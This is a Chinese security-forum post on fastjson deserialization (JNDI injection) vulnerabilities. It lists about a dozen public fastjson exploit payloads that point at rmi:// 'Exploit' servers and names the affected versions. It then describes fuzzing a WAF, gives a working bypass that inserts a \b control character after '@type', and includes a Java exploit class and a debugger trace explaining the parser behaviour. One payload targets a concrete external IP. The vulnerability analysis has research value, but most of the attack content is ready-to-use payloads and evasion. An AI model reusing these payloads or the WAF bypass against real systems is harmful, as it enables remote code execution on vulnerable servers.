前一段工作中,涉及到了绕过规则的内容,轮到fastjson,心里还是有点犯怵。没办法,从头开始了解,先从漏洞复现开始。这里真的要感谢p牛,vulhub对于刚了解一个组件或者漏洞的初学者来说,真的帮了很大的忙!
fastjson已知公开的payload有很多了,这里大致做一个总结(可能不全)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 1.2.42
{"@type":"[com.sun.rowset.RowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 1.2.25v1.2.43
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":"data_source":"rmi://localhost:1099/Exploit"}} 1.2.25
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}1.2.60
{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"} 1.2.60
{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"} 1.2.61
{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"rmi://localhost:1099/Exploit\"}  1.2.62
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://localhost:1099/Exploit\"} AnterosDBCPConfig
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://localhost:1099/Exploit\"} AnterosDBCPConfig
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\":{\"UserTransaction\":\"rmi://localhost:1099/Exploit\"}} JtaTransactionConfig

基于规则的防御也很多,规则防御的思路也是将payload中的利用类防御即可,当然有些防御思路也是"@type"。

大概清楚了fastjson是怎样一个组件,以及漏洞利用过程(JNDI注入,对于漏洞原理这一块不展开讲,先知各位师傅已经分析的很详细),搭建waf,自然,原始的payload直接就被干掉了。猜测肯定是过滤了恶意的类名称,

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

@type":"com.sun.rowset.JdbcRowSetImpl,即是被过滤地方,确定了防护点以后,其实有的师傅说@type可以进行unicode编码,但还是被拦截,又想到XCTF-校战“疫”中的ctf题目的一个payload:

{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://111.231.17.208:3888"}

还是不行,针对type的变形好像都被拦截了
没办法了,fuzz一波吧,在其它师傅fuzz框架的基础上,自己写了一版带ui界面的临时fuzz工具,主要是插入一些脏字符,因为是无回显的命令执行,所以只能一边监听着nc来确定是否fuzz成功,没有用dnslog,是因为实际操作fuzz量较大,dns请求较慢。
这里其实我遇到一个问题,发送payload,目标fastjson对外发起了请求,是否可以判定fastjson是否存在漏洞呢?答案是可以的,因为,fastjson对外发起了dns请求,说明jndi注入已经成功,漏洞已经触发到lookup方法。
放上自己丑丑的fuzz

fuzz还是蛮给力的,成功fuzz出来了 \b所以绕过payload即为

{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

只能放在冒号前后,其实工作到这里已经结束了,但是不禁会问自己一句.......why?
动态跟一波~

pom文件

<dependency>
   <groupId>com.alibaba</groupId>
   <artifactId>fastjson</artifactId>
   <version>1.2.23</version>
</dependency>

exp

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp {
    public static void main(String[] args){
        String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://10.251.0.111:9999\",\"\"autoCommit\":true}";
        ParserConfig.global.setAutoTypeSupport(true);
        JSON.parseObject(poc);
    }
}

第一个断点当然是下在反序列化入口点

然后单步跟进就好,流程不长,直到skipWhitespace 方法,我们可以明显看到这个方法做了哪些操作

本来这里是处理@type过程(具体分析参考http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/),但是由于这个方法,我们可以插入if中的这几个字符,作为绕过payload

贴上此时的调用栈如下

skipWhitespace:2702, JSONLexerBase (com.alibaba.fastjson.parser)
parseObject:226, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:9, exp

一个小tips,希望不要被陈师傅踢出群(求生欲爆棚~)

参考文章
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

点击收藏 | 2 关注 | 1
登录 后跟帖